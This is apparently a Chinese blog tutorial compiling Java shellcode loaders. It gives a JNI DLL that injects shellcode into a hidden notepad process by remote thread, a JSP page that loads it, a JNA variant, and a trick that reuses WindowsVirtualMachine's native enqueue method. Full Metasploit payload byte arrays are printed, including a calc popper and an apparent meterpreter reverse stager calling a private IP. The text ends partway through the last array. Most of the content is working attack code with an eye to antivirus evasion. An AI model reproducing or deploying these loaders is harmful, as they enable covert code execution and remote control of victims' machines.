java加载shellcode方法整理

JNI

需要先准备好一个dll文件,然后在导出函数中实现执行shellcode的方法,在java通过JNI调用dll的导出函数执行指定shellcode

声明一个native方法,然后在dll文件中实现这个方法

1
2
3
4
5
6
7
8
public class Hello {

public native void inject(byte[] me);

public static void main(String[] args){

}
}

根据Hello.java生成C文件头

1
javah -classpath . -jni Hello

XYZYcT.png

在JDK下的include目录下找到jni.h,include/win32下找到jni_md.h还有之前编译好的Hello.h文件拷贝到项目目录下。导入dll项目

XYZlAs.png

开始实现对应的功能,java中的byte[]对应jni中的jbyteArray类型。在导出函数里转换了一下传入的参数,然后在inject函数中执行传入的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include "Hello.h"

#define _CRT_SECURE_NO_WARNINGS

using namespace std;

void inject(LPCVOID buffer, int length);

JNIEXPORT void JNICALL Java_Hello_inject(JNIEnv* env, jobject object, jbyteArray jdata) {
jbyte* data = env->GetByteArrayElements(jdata, 0);
jsize length = env->GetArrayLength(jdata);
inject((LPCVOID)data, (SIZE_T)length);
env->ReleaseByteArrayElements(jdata, data, 0);
}

void inject(LPCVOID buffer, int length) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hProcess = NULL;
SIZE_T wrote;
LPVOID ptr;
char lbuffer[1024];
char cmdbuff[1024];

/* reset some stuff */
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

/* start a process */
GetStartupInfo(&si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = NULL;
si.hStdError = NULL;
si.hStdInput = NULL;

/* resolve windir? */
GetEnvironmentVariableA("windir", lbuffer, 1024);

/* setup our path... choose wisely for 32bit and 64bit platforms */
#ifdef _IS64_
_snprintf(cmdbuff, 1024, "%s\\SysWOW64\\notepad.exe", lbuffer);
#else
_snprintf(cmdbuff, 1024, "%s\\System32\\notepad.exe", lbuffer);
#endif

/* spawn the process, baby! */
if (!CreateProcessA(NULL, cmdbuff, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
return;

hProcess = pi.hProcess;
if (!hProcess)
return;

/* allocate memory in our process */
ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

/* write our shellcode to the process */
WriteProcessMemory(hProcess, (LPTHREAD_START_ROUTINE)ptr, buffer, (SIZE_T)length, (SIZE_T*)&wrote);
if (wrote != length)
return;

/* create a thread in the process */
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ptr, NULL, 0, NULL);
}

把dll编译好,然后System.load加载dll文件,执行shellcode。这里用msf生成个弹计算器的shellcode测试一下

XYZUuF.png

JNI(jsp)

JNI函数的函数名必须为JAVA_包名_类名_函数名这种形式,jsp会被编译成class文件后类名和包名都会发生变化,所以需要依据jsp的规则修改下才能执行

编译后的的格式:

  • 包名:org.apache.jsp
  • 类名:文件名_jsp

根据jsp的写法,这个native方法一般会出现在内部类JniClass里面,org.apache.jsp.test_jsp$JniClass,所以需要依据内部类来生成头文件

XYZtjU.png

这里一直报找不到类的错误,把内部类单独写成一个java文件才解决

1
javah -classpath . -jni org.apache.jsp.test_jsp$JniClass

XYZaB4.png

XYZdHJ.png

导入生成的头文件,其他的跟原来一样,然后生成头文件

XYZBNR.png

执行成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class JniClass {
public native void inject(byte[] me);
}
%>
<%
byte buf[] = new byte[]
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
};

System.load("D:\\VSProject\\testjsp\\x64\\Release\\testjsp.dll");
JniClass jniDemo = new JniClass();
jniDemo.inject(buf);
%>

XYZD41.png

JNA

通过JNA可以直接在java中调用c函数,不需要自己再写一个dll了。直接参考开源项目:https://github.com/yzddmr6/Java-Shellcode-Loader

缺点:

  1. 需要集成jna的依赖,体积大
  2. jna为了实现调用dll文件,也会生成一个jni的dll文件。而这个dll文件并没有签名,所以遇到杀软一样被查

代码一样,只是在java里面调用

XYZG90.png
XYZ1Nn.png

打包用java -jar直接执行,也可以用UrlClassLoader加载jar包

XYZs9x.png

WindowsVirtualMachine

sun.tools.attach.WindowsVirtualMachine类中包含了远线程注入的代码,可以直接利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Method;
import java.util.Base64;

public class WindowsAgentShellcodeLoader {
public static void main(String[] args) {
try {
String classStr = "yv66vgAAADQAMgoABwAjCAAkCgAlACYF//////////8IACcHACgKAAsAKQcAKgoACQArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAChMc3VuL3Rvb2xzL2F0dGFjaC9XaW5kb3dzVmlydHVhbE1hY2hpbmU7AQAHZW5xdWV1ZQEAPShKW0JMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KVYBAApFeGNlcHRpb25zBwAtAQALb3BlblByb2Nlc3MBAAQoSSlKAQADcnVuAQAFKFtCKVYBAAR2YXIyAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADYnVmAQACW0IBAA1TdGFja01hcFRhYmxlBwAqAQAKU291cmNlRmlsZQEAGldpbmRvd3NWaXJ0dWFsTWFjaGluZS5qYXZhDAAMAA0BAAZhdHRhY2gHAC4MAC8AMAEABHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0DAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAxAA0BACZzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQALbG9hZExpYnJhcnkBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UAIQALAAcAAAAAAAQAAQAMAA0AAQAOAAAAMwABAAEAAAAFKrcAAbEAAAACAA8AAAAKAAIAAAAGAAQABwAQAAAADAABAAAABQARABIAAAGIABMAFAABABUAAAAEAAEAFgEIABcAGAABABUAAAAEAAEAFgAJABkAGgABAA4AAAB6AAYAAgAAAB0SArgAAxQABCoSBhIGA70AB7gACKcACEwrtgAKsQABAAUAFAAXAAkAAwAPAAAAGgAGAAAADgAFABAAFAATABcAEQAYABIAHAAVABAAAAAWAAIAGAAEABsAHAABAAAAHQAdAB4AAAAfAAAABwACVwcAIAQAAQAhAAAAAgAi";
Class clazz = new MyClassLoader().get(Base64.getDecoder().decode(classStr));


byte buf[] = new byte[]
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
};

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(buf);


//byteArrayOutputStream.write("calc\0".getBytes());
byte[] result = byteArrayOutputStream.toByteArray();

Method method = clazz.getDeclaredMethod("run", byte[].class);
method.invoke(clazz, result);
} catch (Exception e) {
e.printStackTrace();
}
}

public static class MyClassLoader extends ClassLoader {
public Class get(byte[] bytes) {
return super.defineClass(bytes, 0, bytes.length);
}
}
}

base64编码的内容,调用了enqueue函数,这个函数是native方法,会执行传入的shellcode

XYZ3hq.png

enqueue方法写的跟远线程注入的代码一模一样

XYZJ3V.png

jsp文件,测试执行弹计算器的payload会出现问题导致tomcat停止运行,meterpreter的执行正常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Method" %>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
public static class MyClassLoader extends ClassLoader {
public Class get(byte[] bytes) {
return super.defineClass(bytes, 0, bytes.length);
}
}

public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {
try {
base64=Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e2) {

}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;

try {base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e) {
try {
base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e2) {

}
}
return value;
}
%>

<%

try {
String classStr="yv66vgAAADEAMAoABwAhCAAiCgAjACQF//////////8IACUHACYKAAsAJwcAKAoACQApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAChMc3VuL3Rvb2xzL2F0dGFjaC9XaW5kb3dzVmlydHVhbE1hY2hpbmU7AQAHZW5xdWV1ZQEAPShKW0JMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KVYBAApFeGNlcHRpb25zBwArAQALb3BlblByb2Nlc3MBAAQoSSlKAQADcnVuAQAFKFtCKVYBAAR2YXIyAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADYnVmAQACW0IBAApTb3VyY2VGaWxlAQAvV2luZG93c1ZpcnR1YWxNYWNoaW5lLmphdmEgZnJvbSBJbnB1dEZpbGVPYmplY3QMAAwADQEABmF0dGFjaAcALAwALQAuAQAEdGVzdAEAEGphdmEvbGFuZy9PYmplY3QMABMAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAC8ADQEAJnN1bi90b29scy9hdHRhY2gvV2luZG93c1ZpcnR1YWxNYWNoaW5lAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtsb2FkTGlicmFyeQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAD3ByaW50U3RhY2tUcmFjZQAhAAsABwAAAAAABAABAAwADQABAA4AAAAzAAEAAQAAAAUqtwABsQAAAAIADwAAAAoAAgAAAAsABAAMABAAAAAMAAEAAAAFABEAEgAAAYgAEwAUAAEAFQAAAAQAAQAWAQgAFwAYAAEAFQAAAAQAAQAWAAkAGQAaAAEADgAAAG0ABgACAAAAHRICuAADFAAEKhIGEgYDvQAHuAAIpwAITCu2AAqxAAEABQAUABcACQACAA8AAAAaAAYAAAATAAUAFgAUABkAFwAXABgAGAAcABsAEAAAABYAAgAYAAQAGwAcAAEAAAAdAB0AHgAAAAEAHwAAAAIAIA==";
Class clazz = new MyClassLoader().get(base64Decode(classStr));



byte buf[] = new byte[]
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xcc, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50,
(byte) 0x48, (byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x4a, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b, (byte) 0x42, (byte) 0x3c,
(byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x81, (byte) 0x78,
(byte) 0x18, (byte) 0x0b, (byte) 0x02, (byte) 0x0f, (byte) 0x85, (byte) 0x72, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x8b, (byte) 0x80, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48,
(byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50,
(byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x8b,
(byte) 0x48, (byte) 0x18, (byte) 0xe3, (byte) 0x56, (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x4d,
(byte) 0x31, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd6, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9,
(byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1,
(byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24, (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1,
(byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41, (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b,
(byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41,
(byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59,
(byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83, (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52,
(byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b,
(byte) 0x12, (byte) 0xe9, (byte) 0x4b, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48,
(byte) 0x31, (byte) 0xdb, (byte) 0x53, (byte) 0x49, (byte) 0xbe, (byte) 0x77, (byte) 0x69, (byte) 0x6e,
(byte) 0x69, (byte) 0x6e, (byte) 0x65, (byte) 0x74, (byte) 0x00, (byte) 0x41, (byte) 0x56, (byte) 0x48,
(byte) 0x89, (byte) 0xe1, (byte) 0x49, (byte) 0xc7, (byte) 0xc2, (byte) 0x4c, (byte) 0x77, (byte) 0x26,
(byte) 0x07, (byte) 0xff, (byte) 0xd5, (byte) 0x53, (byte) 0x53, (byte) 0x48, (byte) 0x89, (byte) 0xe1,
(byte) 0x53, (byte) 0x5a, (byte) 0x4d, (byte) 0x31, (byte) 0xc0, (byte) 0x4d, (byte) 0x31, (byte) 0xc9,
(byte) 0x53, (byte) 0x53, (byte) 0x49, (byte) 0xba, (byte) 0x3a, (byte) 0x56, (byte) 0x79, (byte) 0xa7,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0xff, (byte) 0xd5, (byte) 0xe8, (byte) 0x10,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x31, (byte) 0x39, (byte) 0x32, (byte) 0x2e, (byte) 0x31,
(byte) 0x36, (byte) 0x38, (byte) 0x2e, (byte) 0x32, (byte) 0x34, (byte) 0x38, (byte) 0x2e, (byte) 0x31,
(byte) 0x32, (byte) 0x38, (byte) 0x00, (byte) 0x5a, (byte) 0x48, (byte) 0x89, (byte) 0xc1, (byte) 0x49,
(byte) 0xc7, (byte) 0xc0, (byte) 0x93, (byte) 0x1f, (byte) 0x00, (byte) 0x00, (byte) 0x4d, (byte) 0x31,
(byte) 0xc9, (byte) 0x53, (byte) 0x53, (byte) 0x6a, (byte) 0x03, (byte) 0x53, (byte) 0x49, (byte) 0xba,
(byte) 0x57, (byte) 0x89, (byte) 0x9f, (byte) 0xc6, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
(byte) 0xff, (byte) 0xd5, (byte) 0xe8, (byte) 0x2b, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x2f,
(byte) 0x49, (byte) 0x6f, (byte) 0x71, (byte) 0x77, (byte) 0x38, (byte) 0x68, (byte) 0x51, (byte) 0x54,
(byte) 0x78, (byte) 0x50, (byte) 0x54, (byte) 0x4b, (byte) 0x31, (byte) 0x73, (byte) 0x76, (byte) 0x55,
(byte) 0x71, (byte) 0x45, (byte) 0x41, (byte) 0x4b, (byte) 0x7a, (byte) 0x77, (byte) 0x77, (byte) 0x62,
(byte) 0x4d, (byte) 0x52, (byte) 0x5a, (byte) 0x6f, (byte) 0x34, (byte) 0x36, (byte) 0x44, (byte) 0x76,
(byte) 0x45, (byte) 0x33, (byte) 0x46, (byte) 0x75, (byte) 0x42, (byte) 0x6a, (byte) 0x70, (byte) 0x58,
(byte) 0x62, (byte) 0x00, (byte) 0x48, (byte) 0x89, (byte) 0xc1, (byte) 0x53, (byte) 0x5a, (byte) 0x41,
